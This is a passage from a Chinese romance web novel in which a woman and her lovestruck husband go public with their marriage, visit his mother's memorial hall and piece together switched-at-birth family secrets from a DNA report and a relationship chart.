“你真是够自豪的。”她落去嫌弃半眼,转头打量厨房岛台上的几盘热菜,“还是挑食的恋爱脑……但有你可以吃的,大哥你别看我了,看菜,你等会儿绝对不能碰这几道,跟你养身体需要的营养相冲。”
“哦。”
梁尔璐满意他乖顺的嗓音:“差点忘了,你先待这儿,我去中医馆抓药,今天不回你家了但你也不能断药。”
同样字音,这次却轻得足够敷衍,厨房玻璃门双面可视,她抬头便发现林瀚睿已站上外侧墙角的电子体重秤。
数值显示正常,她额角淌黑线:“胖一点怎么了?药物副作用难免的,程度更是因人而异,何况就你这病恹恹体质,耗损比留下的多。”
“重新定制婚服,浪费时间。”
没听错吧?梁尔璐此时没吃却胜似噎住,瞪看他折服于自己完美逻辑的沾沾自喜面容:“所以你这不是第一次发神经了?大哥,我在和你谈健康,你却搁那儿恋爱脑嘀溜溜地转啊?婚礼?做你的春秋大头梦!我走了,你滚远点。”
气人得很,就该把没熬过的中药材全塞进他脑子里治治。
*
从中医馆返回的半途偶遇父母,她搭上顺风车,到家横竖还没开饭,就在爸妈许可的目光中狂吃烧烤。
梁清泗唯独慈祥哄劝:“慢慢吃,没人跟你抢。”
“我要吃胖!胖三百斤!”
女儿这话一如意外之喜,他深感可喜可贺:“老婆,你听见没?妹仔居然想长胖了!太瘦真的不好,但胖三百斤更不行。”
梁初琅将视线扫过桌边两个年轻人,随即调侃丈夫:“我觉得你应该问她受什么刺激了。”
林瀚睿坐在与梁尔璐相邻的位置,低眸望女人腮帮子鼓囊着狠狠瞪来,他但笑不语。
“你们又吵架了?”
她震惊于父亲这结论,急忙抬起埋入烤串堆里的脑袋,因捂挡了嘴而话声含糊:“那倒不至于!我就是猪瘾犯了而已。”
“你们为什么老觉得我和他吵架?我有这么无聊?关键是你们怎么不打他骂他了啊?我才是你们女儿,要为了我一致对外!”
岂料母亲更是语出惊人:“你确定他是外?”
梁尔璐脑子乱成一锅粥,拼命捋清的间隙,狐疑林瀚睿不带起伏的面孔:“你们怎么知道的……”
“四年前,林家的律师找到茶楼你妈咪那里,说大少爷做了结婚用的公证。”
难怪当初得知她“未婚先孕”都不骂半个字,但梁尔璐还纳闷另件事:“那怎么前段时候你们还让珩仔和我结婚?他什么都不知道,又被这样逼着,人都有多委屈啊。”
简短的字眼扎耳朵,林瀚睿细微敛眉,视线不移此刻正忧愁感怀他哥的梁尔璐。
“能结婚,当然也能离婚再婚,但既然你们都不愿意就作罢,我看你还不清楚自己丈夫干了什么好事吧。”
“对外官宣结婚啊?他现在确实只剩这一招没玩了。”
“梁清泗你输了,我就说她肯定了解自己男人是什么脾气。”
是污蔑!
梁尔璐被吓到瞠目结舌一般,目光触及林瀚睿似笑非笑的脸容:“这话说得好像我跟他感情很好似的,完全没有!林瀚睿,我杀了你!”
将男人追堵进卧室墙角,她怼着凶:“给我看!”
察觉双方交际的呼吸太近,立即给他留出能操作手机的空间,得他一声揶揄轻笑。
“怎么突然缩手?我是什么烫手山芋?宝宝不是常说我体温偏低?或者我们不熟吗?难道因为小别胜新婚才和我这么不熟?”
五连问扼得梁尔璐哑口无言,只恨恨接过男人递的手机。
俩APP界面上下分屏显示,林瀚睿精准卡住五点二十的时刻,同时在个人Ins账号以及仅仅用作枯燥运营的公司官方微博,发布了结婚证的那一张双人合照,简洁无任何配字。
但他当时分明还在开车。
“省得在公司门口被媒体围堵,就安排了翁秘书处理,我第一次用Ins,刚注册。”
川流不息的车路确实有效禁止记者发疯,她掀眼皮,无情嘲讽弯了唇的林瀚睿:“老年人。”
Ins评论区内除了大陆、港岛两地的吃瓜网友,港圈豪门兼社会各界名流云集,男女老少得好不热
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闹。
梁尔璐翕眨的双眼微滞,下翻评论的同时,抬手揪他袖口扯弄:“那你知道尾号2127的电话号码是谁的吗?你们那的,刚才打给我,但我不接陌生电话就秒挂了,对方也没打第二次。”
“你公公。”
再三回味是谁,她险些摔了手机:“我不是故意的,现在回拨还来得及么……”
男人反倒满副不以为意的模样,坏心玩闹般轻戳她仍停留在衣袖的指节:“没必要回,只是按照惯例,通知儿媳妇到深城老宅的祖祠上香归宗。”
“更何况老婆你不是打算离婚?可看着竟像是急于接受这身份?”
梁尔璐气急,退了傻愣的手,恼他逮着机会就上房揭瓦的欠收拾劲儿:“我不去!”
“来日方长,不过我四年前就许诺过妈咪,一定会带你去港岛的家见她。”
她瞬间想起之前算塔罗牌的感受,是个温暖却孤单的人:“婆婆可以见的,那能让我妈做些吃的给闺蜜吗?我们晚上带过去。”
“当然,但不用急,你今天先忙工作。”
往人怀里塞回手机,梁尔璐忙不迭地转身跑向房门:“又不是研究所给的工作量,我自己想查方子,试着给药物研发找新方向。”
林瀚睿撂远视线,凝得她背影消失在门隙,垂眼之际愁眉不展,无奈查看爆炸似的私信,开通社交账号之后难免线上人情场合,而他本质也仅是社恐i人……
暂时清空一片,他头疼着离开卧室,途经书房。
梁尔璐正埋头翻找大半桌面的祖传医书,同时往腕侧的纸张圈圈写写,专注模样相较平时做私人医生时越发得专业。
“你女儿和可能是的未来女婿已经在下楼电梯里,去吧。”头也不抬就赶他的实力同样不容小觑。
“滚滚滚,我看你烦,但女儿喜欢你。”
林瀚睿二话不说,立刻跨开长腿迈入书房,反手关门:“恋爱脑的首选当然是真爱,孩子是意外。”
这下坏了,还真是意外。
梁尔璐无力反驳,拿起倒扣桌面的手机,将已然终止了进度条的屏幕对准男人:“录下了,以后放给意外听。”
不过眨眼一瞬,便见他抬高原本攥在身后的手机,挑眉淌了眸内笑意,微晃录音进行中界面:“双双,你以后和老公过二人世界的时候,会带孩子一起吗?”
男人微挪的指腹触向红色圆键,她如同也被截断般,百般语塞。
“小骗子。”
“我哪有你会骗?”深知难用孩子诈到林瀚睿,她老实认输,坐远着完全抵靠椅子扶手,微末避开慵散倚来桌沿的他。
话将脱口,林瀚睿眼尖瞥到她手机忽而跳出来电显示,号码主体只有八位数,并非大陆既定的制式。
“是你爸那边的人?”有了经验,梁尔璐接听这陌生通话,“你好……”
然而意料之外,竟由一句醉醺醺男声打断:“既然他林瀚睿可以,那我为什么不行啊?”
她拿远贴耳的手机,确定不认识:“不好意思,请问你是……”
这次截胡她尾音的是林瀚睿,男人更是第一时间挂断。
林瀚睿唇畔掀扯的弧度玩味:“敢情你之前在火锅店背着我偷找他的联系方式,到头来却连个尾号也没记住,甚至听不出是他的声音。”
那她知道是谁了,无语抗议他心满意足的腔调:“人声经过电子设备会失真。”
“正是因为不熟悉,才听不出。”
忍下他这得了便宜还卖乖的不依不饶,梁尔璐比划大拇指:“行行行,你果然是真懂怎么把自己哄好的。”
压根没过两小时,就已自我攻略两回。
氛围略显胶着,凭空又响的第二通来电顺势被他接听。
梁尔璐不清楚盛家那太子爷讲了什么,唯独见林瀚睿神色有异地遽然皱眉,攥紧她手机就仓促离开。
65.夏日
她迟钝追到玄关,男人的鞋已不在。
手机也被林瀚睿带走,梁尔璐权当自己是走丢的人,老实待在家里等他回。
将近三两小时,父亲到书房探头:“妹仔,住楼下的小谢刚来敲门,说林家派的车已经在小区外,这些呢是你妈咪准备的,有点多。”
入目是双手满当的大小数件,她意料之中,但难免愣:“包我身上。”
*
收到司机报备接人进度的电话时,林瀚睿正垂眼系着衬衫扣子,家庭医生则是坐一旁收拾医药箱。
急匆匆的脚步声临近,他点头示意管家阿姨。
“大少爷,你怎么又受伤……”
“上次已经是四年前了,小伤,您放心。”林瀚睿略微拧眉,穿上西装外套的幅度不小,轻而易举就牵扯隐隐作痛的肩膀后方,“一会儿我老婆来,别告诉她。”
“夫人是医生,不好瞒。”
所以他才用了清淡些的药膏,单趟车程需要一小时左右,届时气味应该会弱化部分。
梁尔璐的手机放在腿边沙发,林瀚睿拿过翻去背面,整体粉嫩配色的财神爷手机壳可见富贵。
管家摆好了茶艺需要的一应用具便离开,他着手焚香,顺带遮盖药味。
步骤算是繁多,但适合等人的间隙消遣度过,林瀚睿掐准时间折腾了大半小时,忙活的双手变空之际,女声响起。
“太子爷……你家能买点观光车吗?我真的!从大门进来,到客厅门,九曲回廊!”
他抬头扬唇,朝坐来身旁的人递过茶杯:“渴了吧,不算烫。”
梁尔璐累得一口干,打量满桌精致器具:“还挺文雅。”
“你之前不是说,不爱喝绿茶?原来这么爱。”
男人有意控制了往木质几案放落瓷盏的响动,称得上轻巧,她却如遭惊雷地才意识到被他设计了:“淘气,你也真是的,非要我敞亮着把话说难听了,我只是不爱你这个绿茶男。”
她拿回手机,刮刮立体财神爷保护壳的鼻尖:“所以你刚才怎么了?”
“第二通电话是Rosalind打的,她赶到酒吧接Leo,但忘了自己不会开车,Leo又发酒疯和大小姐脾气,代驾不行,指定找我给他当司机。”
梁尔璐似乎听见什么奇事,忍俊不禁:“你有什么把柄在他手里啊?还是说妹控?”
“我是老婆控。”
幸亏还没开始喝第二杯茶,她僵硬挪开与林瀚睿交汇的深情目光,消化这恋爱脑式回答余韵,饮下茶水压惊:“我就是犯贱,非要多嘴问你一句。”
“确实被握住了把柄,说如果我不去,他就偷光我家里的三十一只猫。”
“这可太懂怎么拿捏你了吧!”梁尔璐顿时嫌自己笨,“我学会了。”
示意人还渴,她将视线凝向茶壶口涓流似的澄透,落声清泠,袅袅热息随之缭萦。
原想林瀚睿正忙,该消停了,谁知根本不老实:“你的存在就足够拿捏我。”
她奇了怪了:“你们恋爱脑是不是能把任何一个话题都扯得腻歪……”
“别问我,你四年前也当过恋爱脑,有经验。”
听出他嗓音含了笑侃的坏意,梁尔璐递回杯子,起身指挥他拿起另个沙发内的大包小包:“忘了,我又不是沉湎往事的人,都过去了,你也放下吧。”
不顾林瀚睿阻拦,她执拗地也提了一个大木匣,跟着他离开客厅。
后院同样不乏中式园林庭院的九曲回廊,灯光设置恰到好处,掩映其中的葱郁景致。
“宝宝,你这不像原谅我的样子,分明放不下我。”
林瀚睿虽是隔了会儿空才接话,梁尔璐仍能续上。
确实。
像蛛网,他缠绕着,她扒拉开,结果惹得藕断丝连一般,黏乎难清理,以此循环往复。
“没关系,你这段难哄的叛逆期是我罪有应得。”
零丁字眼让她霎时锁眉,偏头抬望林瀚睿的严肃侧脸:“你这倒也没必要,换个好听点的词……咎由自取,不对,自作自受最不错。”
男人也对焦般地迎来目光,眸内沾染笑意:“可惜离佛堂还远,妈咪看不见你这么在意我,你等下演给她看?”
“呦,你不是总说我演技稀烂?”
“情到深处自然真。”
梁尔璐怔忡眨眼,本以为终于逮到他的逻辑破绽了,不成想被玩的仍是她。
便深呼吸认输:“算你狠!你再说话试试看?姐姐我针线活和医术都特别好,敢蹦出来半个字,就给你表演一个无痛缝合犯贱嘴巴!”
仅仅瞬间,林瀚睿却亲昵地相携挽手:“老婆,二选一。”
不难理解……她寻思狗东西这招拆屋效应耍得挺厉害,比起听他被恋爱脑支配着说话,的确还是更能接受由他沉默挽手。
“这个。”
无奈怼回男人生闷气的一眼,梁尔璐忽视他此刻转浓的笑容。
一停交谈,周边只剩夏夜的自然喧响,以及他们莫名其妙就步调频率相同的落脚声。
她后知后觉专注了听,迅速遭这胡来的暧昧扯起乱窜心思,难控面红耳赤。
玩完,她是真被林瀚睿的恋爱脑传染了。
气温又熏蒸得热,她艰难捱到佛堂,出神时无意中对上男人的注目。
“脸这么红,室内会凉快不少。”
梁尔璐唯恐说错什么,只点头,循他视线看向供桌处的某块牌位。
“妈咪,我带Aria来了。”
“哦,您好,我妈咪是梁初琅,她做了好多您爱吃的点心。”她紧紧发散的情绪,见林瀚睿一一摆放食盒,“她说了,那罐是您最爱喝的茶,白牡丹,还有还有,这个是您最爱的花,我妈咪用玻璃烧出来的一串紫藤花,可以悬挂起来。”
小心翼翼抬高沉重的木匣子,梁尔璐催林瀚睿取出展示。
林瀚睿略愣,声线泛闷,掺杂了迷茫成分更重的恍然感:“原来喜欢这些……”
“嗯,你有其它想了解的,都可以问我妈。”梁尔璐险些忘加关键,“她们两小无猜!”
“四舍五入,我们也是两小无猜。”
话题跳跃突兀,她傻眼:“你这四舍五入得有点太夸张了!佛堂不好摆,交给你了。”
因此只能谨慎递他合拢的木盒子,趁机头疼着扯回跑远现况。
却领教了林瀚睿犟得反骨,完全拉不住:“你也把自己交给我,我保证一辈子对你好。”
故意在长辈面前这样,导致她不好意思拒绝。
“你这个人坏得很。”梁尔璐拒不回答,但呼吸间倏地混入一丝异样,顺势凑近他嗅闻,“嗯?你身上怎么会有药味?不会是给人做完司机,还打架了吧?”
并不算浓重,差点被佛堂弥散一室的焚香气息遮覆。
“我问到了,那个出租车司机当年是看见你乘他车让跟踪的另一辆车,自己开入了荒郊废弃工厂区河里,所以十余年不敢往外说,怕背上什么刑事案子。”
靠挨打解决问题,她短暂语塞:“哪儿啊?”
“肩膀,你再这么紧张就能扒开我衣服了。”
林瀚睿的玩笑腔调实在吓人,她当即尴尬缩手,垂眼避开男人浮笑的神情。
“车牌号还在查。”
她没料见已经查得这么细,恐惧油然而生,急剧盘踞心头:“别!你要么别查了?我现在不是很想知道了,也不是因为命案!反正……就别查了吧。”
眼前的女人明显不安,林瀚睿轻幅度眯眸:“听你的。”
不知梁尔璐手机收到什么,看完便示意他手拎的保温桶:“记得喝药,我有急事要先回家,你叫人送我就行。”
他送远匆忙且心不在焉的背影,也向母亲道别。
药味回苦,林瀚睿从卧室逛去书房,翻看一阵父母的双人相册,隐约察觉一墙之隔的套间外传来父亲与盛家夫妻的交流声。
“所以两个孩子的婚礼什么时候办?我们盛家绝对不会少诚意。”
“林家的心意也断不可能少,你清楚我向来满意这
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桩婚事的。”
“你可别见怪啊,Leo这臭小子喝得酒气朝天也偏要跟着来。”
“婚礼上有的是你喝。”
“妈咪,婚礼上那也是我这个小舅子灌Hendrix酒,非得喝倒他为止,娶到我姐的福气能白来?”
被迫吃瓜却吃到自己头上,林瀚睿急忙攥紧险些坠地的厚重相册。
难道不应该是在谈堂妹和盛家联姻的事?
他试图捋思路,随即被远距离的手机铃声打断。
盛言顾接通,而听筒位置出声更快:“四年前,你为什么骗我,是二十五岁?”
回头望了眼不远处相谈甚欢的长辈,他错愕降低分贝:“你怎么会知道?姐姐……你是在哭吗?”
“林瀚睿发的Ins评论区下,有人问你今年二十七了,几时也能有好消息。”
“我……”愣怔关闭虚掩的隔间房门,盛言顾收敛面部惊讶,与站在对面满墙书架前的林瀚睿,同样平静对视,“对,我一直都知道,高中毕业当天,姐姐……”
通话遭单方面挂断,他适应能力极强地勾唇:“妻子的弟弟,你应该称呼什么?”
句式熟悉,林瀚睿不屑一顾:“弟弟喜欢姐姐?”
“那又怎样?我从六岁到高三都不知道是姐弟关系,就算现在还喜欢她,只是喜欢一个人违法吗?更何况是单恋,我也完全不打算和她结婚,而是这么大方地愿意让你做我姐夫。”
“Leo,放轻松,你的牙都快咬碎了。”
这么多年,盛言顾早就看腻林瀚睿惯常对外的寡淡态度,不由嗤声:“必须承认我刚才喝酒误事,打错了电话,清醒下来发现还真够精彩的。”
“一定是你挂的电话,导致我没说出后半句——姐姐,你可以跟同父异母的林瀚睿结婚,我也行啊,只是同母异父而已。”
“但幸好没说,因为大错特错。”
他捕捉到林瀚睿惊讶几瞬就一如既往冷静的了然模样:“没错,我也想到了,你爸绝对不可能让亲生儿女结婚,更别提生孩子,这件事,盛、林两家父辈肯定早已心知肚明。”
“那么,林家太子爷,你究竟是谁家的?”
却见男人唯独沉默走近,于恰当距离偏差开,顾自开门。
书桌前三人齐齐意外出来的并非盛言顾,林瀚睿将目光落向女人:“车牌号XRNE,aunt,您当初去找女儿,她也记住了十四年。”
兜在西装内袋中的硬物分量显沉,他取出宝石手镯:“所以她亲口说过,这是最爱的首饰,陪她的时间最久。”
“既然是守了多年的秘密,停在是盛家女儿就足够,再多,她只会更崩溃。”皱拢些眉眼,林瀚睿攥紧手镯离开。
*
死锁的房门被钥匙打开,梁初琅上前将坐地哭泣的女儿抱入怀中。
散落床沿的快递袋狼藉成片,梁奕珩从中瞥见一份DNA鉴定报告,心骤然揪疼着沉落,神情皱得无奈,凝看哭到隐隐有呼吸困难征兆的梁尔璐。
脑子乱糟,他浑然想不到是什么导致她怀疑了身世。
余光察觉身旁的梁清泗愁了脸,慌忙捡起鉴定报告,揉入攥紧的掌心。
梁奕珩瞧一眼来电备注,出卧室接电话:“嗯,大人管着……别乱说什么?”
林瀚睿的解释简短清晰,他难以置信:“我只是从小听爸妈说起,知道她不是亲生。”
随即得来听笑了的男声,透过电子传递,莫名地异常刺挠:“爸妈?你们梁家也挺乱。”
“甚至还有更乱的,你想知道吗?”是这样,梁奕珩讽笑中的笑意明显。
“你不如趁现在珍惜一点照顾我老婆的时间,因为我就快到了。”
“妻子的哥哥,你应该称呼什么?”
属实听腻了。
林瀚睿淡然勾唇,拨转车方向盘。
事到如今,这两个不再装腔作势的舅子倒是都爱用回旋镖向他复仇。
“哥哥,我可是连有血缘关系的小舅子也不放在眼里。”
66.夏日
几乎半刻不歇,林瀚睿第一时间赶到梁家。
眼眶湿红的梁尔璐没再哭,正坐床上丧气抱紧怀中枕头,颓肩愣望来。
“虽然你妈咪那辆车开进了河里,但人还健在,具体内情不了解。 ”
甚至没收着零星轻声回应,女人唯独因此动容地翕眨几瞬睫羽。
他趁势将宝石手镯放入她手心:“当时出租车停在附近,司机看见她给了你这个就开车离开,盛家也准备了嫁妆给你,我刚才恰好听到。”
泛沉的触感暖和,却依然低于些她的体温,梁尔璐垂眸扭拢了眉:“不要,谁要他们的嫁妆,我爸妈也出得起,顶级豪门的就了不起么……而且我要离婚。”
“我不要离婚。”
“我要哭了!”狗东西这是专程跑来气她的吧。
她剜看林瀚睿抵死不从的壮烈厚脸皮,实在拗不过,就对他面廓显现的笑容十足无奈,见他偏转稍许的目光示意了床头柜上那手提袋。
男人随即挪回视线:“上次摔坏了你的香水,我买了之后一直忘在车里。”
“我也不要,香水是很私人的物件,你一个男的送给我,越界了。”
手镯流转华贵光芒,但梁尔璐只觉得碍眼,便戴去他手腕:“送给了你的就是你的,别给我。”
“也对,是求婚信物。”
话语招嫌,她欲言又止地压下火气:“才不是!当初是你自己说过的,求婚不用双方都求,我完全!没对你求婚!”
“你有。”
平淡两个字,杀伤力却强劲,梁尔璐揪了枕头砸床沿的男人,碰撞之下细微棉絮难免飘飞,侵向他习惯性转头避开的呼吸。
“对不起,你肯定想找一个能陪你玩枕头大战的健康老公。”
孰料被抢了道歉的台词,她歪头愣瞅林瀚睿入戏极深的愧疚神色:“你要么去学学读心术?挺冒昧的,我有这么无聊幼稚?”
既然自责,就离婚啊!
懒得搭理这幼稚鬼,梁尔璐干脆换话题:“本来我是打算撕掉DNA鉴定报告的,但是这个死手!还有死脑子……花了那么钱的,怎么能不看?四位数,我居然用四位数买了几张纸!”
“你就当我疯了吧,学读心术的事不急,你先也去验一下自己的亲子关系?哦不对,我看电视剧里豪门都是直接在婴儿时期就检查的,你家问题不大,放心吧,太子爷。”
“你怎么突然哑巴了?对不起,是我一介草民妄议皇家事了。”她趁机道歉,心里瞬间舒服,打量起林瀚睿毫无波澜的表情。
怎么的,非要她吹枕边风才撬得开嘴?
幸好是没这么离谱,男人揶揄着勾唇:“原来你爱听我说话?”
果不其然一出声就欠收拾,梁尔璐忍耐:“谣言,我不听恋爱脑说话,但你得回答我问题,就是你之前到底在那张花切广告牌上写了什么?又划掉了什么?”
“一首德语情诗,Du bist mein,ich bin dein,这是第一句,中文直译‘你是我的,我是你的’,而我划掉了前半句。”
“你是我的……可你不是天天对我念叨这句吗?划了干什么?也没见你转性啊。”她恐怕是求苍天又拜地老爷,都盼不来林瀚睿肯放手的那一天。
“因为还有另一种意译,‘难道我监禁你,还是你霸占我’。”
“我不会监禁你,不会让你像我妈那样,到死也只能从窗户离开。”
梁尔璐脸色抱歉,饶是怎样也没预见这话题的背后如此沉重,一时错愕地哑口无言,莫名感觉林瀚睿轻缓的温声略显刺挠。
“那你想听恋爱脑念情诗吗?”
“中国人不听洋诗。”
“老婆,你怎么知道我要念中文情诗?心有灵犀。”
“你出去!”
交锋不过两回合就败得一塌糊涂,梁尔璐气急,目不转睛盯看被赶起身的林瀚睿,猝不及防见他中途再度回首,投来扯些弧度的眉眼。
男人落声的腔调自然拈几丝笑意:“香水,记得用。”
那她是当即攥过手提袋,凶巴巴示意砸他的动作:“要我撵你出去?”
“我不介意两种香水味道混合在一起。”
“你想得美!再对我说这种涩涩的话试试看?”她分秒抱紧香水,唯恐手一松还真摔碎了溢出味来,进而与林瀚睿身上的气息交融。
为了让她收下香水,净想损招的狗东西!
如愿离开,林瀚睿余光察觉斜对面门旁靠站一人,抬手招呼他进屋。
到底是生疏,他没太适应地杵墙边:“岳父。”
梁清泗没忍住吃瓜的冲动:“被赶出来了?烈女怕缠郎,信过来人的,我老婆儿子去给妹仔弄吃的了,哭了好久费体力,小林啊,你开个手机。”
“我给你分享了一个长途文件,好,收下了你就好好看。”
林瀚睿多少是摸不着头脑的,再三左右划弄屏幕:“稍等,不是我收的。”
“你手机不是叫Somnia?我女儿的是五块钱如何花三天,儿子的是死手快画啊,你们年轻人就喜欢这些花里胡哨的。”
“我的是Insomnia,和我老婆的情侣设备名。”他之前失眠时待梁尔璐床边偷改的,虽然她发现后百般嫌老土,但至今也没换掉。
林瀚睿陷入沉默,目睹岳父如临大敌的模样。
“那不能是你老婆收啊!她已经收了……”
旁侧的门咔哒作响,狭窄缝隙中随之伸进个贼兮兮的手机:“Insomnia,快跟我走!”
听出她话音内的哽咽,林瀚睿点头向人父亲告别,出门便被梁尔璐毫无拖沓地锁她卧室,按坐去床沿。
她仗着居高临下的绝对优势,堵住前路,眼眶盈了些微泪花,却弯唇轻晃手机:“我告诉你身世,你签离婚协议,换吗?否则你别想知道自己是哪家丢失的小猫咪了。”
“无计可施的小猫咪,我对你这个交易没兴趣。”
“不准你这样叫我!”梁尔璐羞愤难当,“你不是很喜欢问为什么,刨根问底的嘛!”
她这儿情绪疯涨,狗男人倒好,但笑不语的态度尤为寡薄。
抓心挠肝的愁劲儿难耐:“怎么难受的变成我了……不行,我一定要说出来才舒服,你就签呗?好不好?”
可碍于俯身,她的双颊轻易遭林瀚睿捧入掌心内,借此托高的力道微揉。
伴随他质感显醇的笑嗓:“梁尔璐,你才是我认定最重要,最想要到底的。”
梁尔璐倏地面热:“你怎么这样说话?真的不是在搞涩涩吗?”
“是你对浪漫过敏。”
脸肉受到男人坏心眼地捏.弄,她闷闷哼唧出不满音调:“算了,反正你不签,我也可以分居,满两年之后调解无效,法院就会判离婚的。”
该是揪玩够了,林瀚睿心情大好地松手,转而扯她坐向身旁:“只是理论上会判离。”
那她也得真能分居才行啊,这狗东西会肯?
她吃瘪地撇嘴:“我要开始给你讲小猫找家的故事了,猫猫得找到家才行。”
只是话音还没落全,后颈立即被男人小猫挠人般突袭,连带着数绺发丝惹起的痒意极速蹿腾,令梁尔璐直想跳远,偏偏又给他顺势揽进怀里,她受惊的嚷声才挡轻了好些。
“你就是欺负我痒痒肉多!”压低分贝控诉作罢,她打开父亲的文件,停在第一页的人物关系思维导图,指尖悬触。
“你们港圈的白家,华正集团,和你家都是做房地产生意,所以你爷爷当年为了促成林、白两户联姻,导致最受器重的大儿子林堇羲被下药,某天睡醒,旁边是我的亲妈,白安媛,但当时他已经和谢柏延的妈咪,谢家独生女在一起了,如胶似漆。”
“之后谢玉之来找我养父母,怀疑你养父突然疏远冷淡她是因为睡完女人就想踹了,后来说清楚了,你养父单纯觉得对不起她,谢玉之也提出离婚,两个人用最快的速度领证,你养父还不顾你爷爷反对,擅自大办了婚礼,轰动全港。”
“再后来的事你更清楚,谢玉之生下谢柏延的第二天就被你爷爷安排私人飞机送去瑞士,一直监视,不让夫妻俩见面联系,那谢家肯定坐不住啊,女儿救不回了,那就狸猫换太子,报复林家。”
“当然,你养父从始至终都知道儿子被调包,但默认不提。”
“现在重点来了,你这只狸猫是谁家的?是谢家隔壁那
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一户世交,卢家,亲戚关系冷淡,家门薄幸,只剩下一个刚出生的孤女,所以谢家老夫人就收了做义女,取名的方式一致,谢玉之和卢玉行。”
“你这亲妈和谢玉之是两个性格极端,体弱多病还沉默孤僻,但卢家好像倒霉得特别邪门,她和你亲爸谭耀启的关系已经好到谈婚论嫁地步了,性格也慢慢开朗,问题是男方突然暴病英年早逝,死在没领证之前,所以你亲妈生下双胞胎之后也积郁成疾没多久走了。”
“同样是早产儿,你哥的身体勉强不错,至于你……怎么长大的自己清楚。”
林瀚睿在脑海内迅速处理梁尔璐的语速:“梁奕珩,我见过卢玉行的照片,现在想来是谢柏延故意找借口给我看。”
“对!我爸在后面几页的文字版解释里写了,你和珩仔是长相不一样的异卵亲兄弟,谢家把身体弱的你送到林家那个金库一样的豪门养着,把珩仔送到会看病的我家继续观察,豪门那边留不下未婚先育的孩子,所以白安媛把生下的我给你养父,你养父给我养父母,我真服了……”
“后来我亲妈被广商银行的太子爷盛则死缠烂打追到结婚,两年后生了儿子。”
“当年我养父母的共同好友无法生育,想让他们过继珩仔,但没给办,只是让这夫妻带走养着,当然,我养父母也有私心,不愿意让我长大后像你养母那样婚姻不幸,珩仔是他们唯一人选,只要到时候他一个人解除领养关系,就能和我结婚。”
兜来转去,林瀚睿总算是懂了好哥哥不争不抢的顾虑:“如果是妹妹解除,会让她因为身世伤心,显然你养父母不可能这么做,但梁奕珩认为如果是他解除,妹妹知道了会替他伤心,本质上没任何区别,所以单纯暗恋,始终不愿意跟你恋爱结婚,一直隐瞒双方身世。”
“那他过了二十九年的假生日。”
“对,我爸的意思是……弟弟一般,给我弄个哥哥玩。”梁尔璐简直不敢代入梁奕珩细想,憋屈得要命。
“公主。”
是她想的吗?某人还打趣。
“公主腿麻了。”长时间被斜拥揽着,她揉揉泛酸的侧边,惊讶林瀚睿倏地抱她上床。
他动作利落,利落到放开之后坐床沿不动了,独独不知所谓地含笑对视而来。
服务中断的感觉可不好受,梁尔璐清嗓:“腿麻了你还不帮我按?太子爷会不会照顾人啊?”
“我给你按腿,会发生涩涩的事,这么快就忘了?”
她尴尬得头顶好似冒烟:“谢谢提醒……不麻了,真的,你去找梁卓熹吧,她还在楼上,你自己告诉她是爹地。”
“那你别哭。”
不提还好,她苦苦脸:“虽然你阴差阳错成了太子爷,但我觉得你最倒霉,我家也有钱给你治早产导致的病,而且绝对不会让你后天患上双相情感障碍和强迫症。”
凝拢的眉心由林瀚睿探手轻点,微凉,梁尔璐舒展开些许。
却只得他笑意不减,自顾自接续前一个话题:“我要去找梁卓熹了。”
怀疑是他恋爱脑转累了,她紧急抓住男人离开的手腕,抬眼无声望。
“老婆,你这是要霸占我?”
耳畔瞬间回响林瀚睿念那句德语情诗的嗓音,梁尔璐愣怔数秒:“我才不是和女儿争风吃醋,只是看你倒霉,想抱抱你。”
床榻下陷,出自他的拥抱随即覆近:“不倒霉也娶不到你。”
“你没事吧?都这时候了还恋爱脑!”她无语捶打几下,惹男人一声闷哼,“啊对不起!我碰到你肩膀的伤了……”
因此想放开,可愣是没能。
林瀚睿将她往内嵌的力道分明:“梁宛宛,你无论搬去哪住,都必须带上的布娃娃是不是从小就有?”
“你是说缩小版的我,银耳露?对,是妈咪给我缝的,养我的妈咪。”
答也答了,而她良久才听男人迟疑的后话,拥抱牵扯起的衣褶显然因他五指加深。
“那我是你的林北北,你想做我的阿贝贝吗?”
她茫然回神才意识到误会了,林瀚睿的恋爱脑何止没转累,是极其活跃。
梁尔璐哼声:“不想,两三岁小朋友的叛逆期最难哄了,你自作自受。”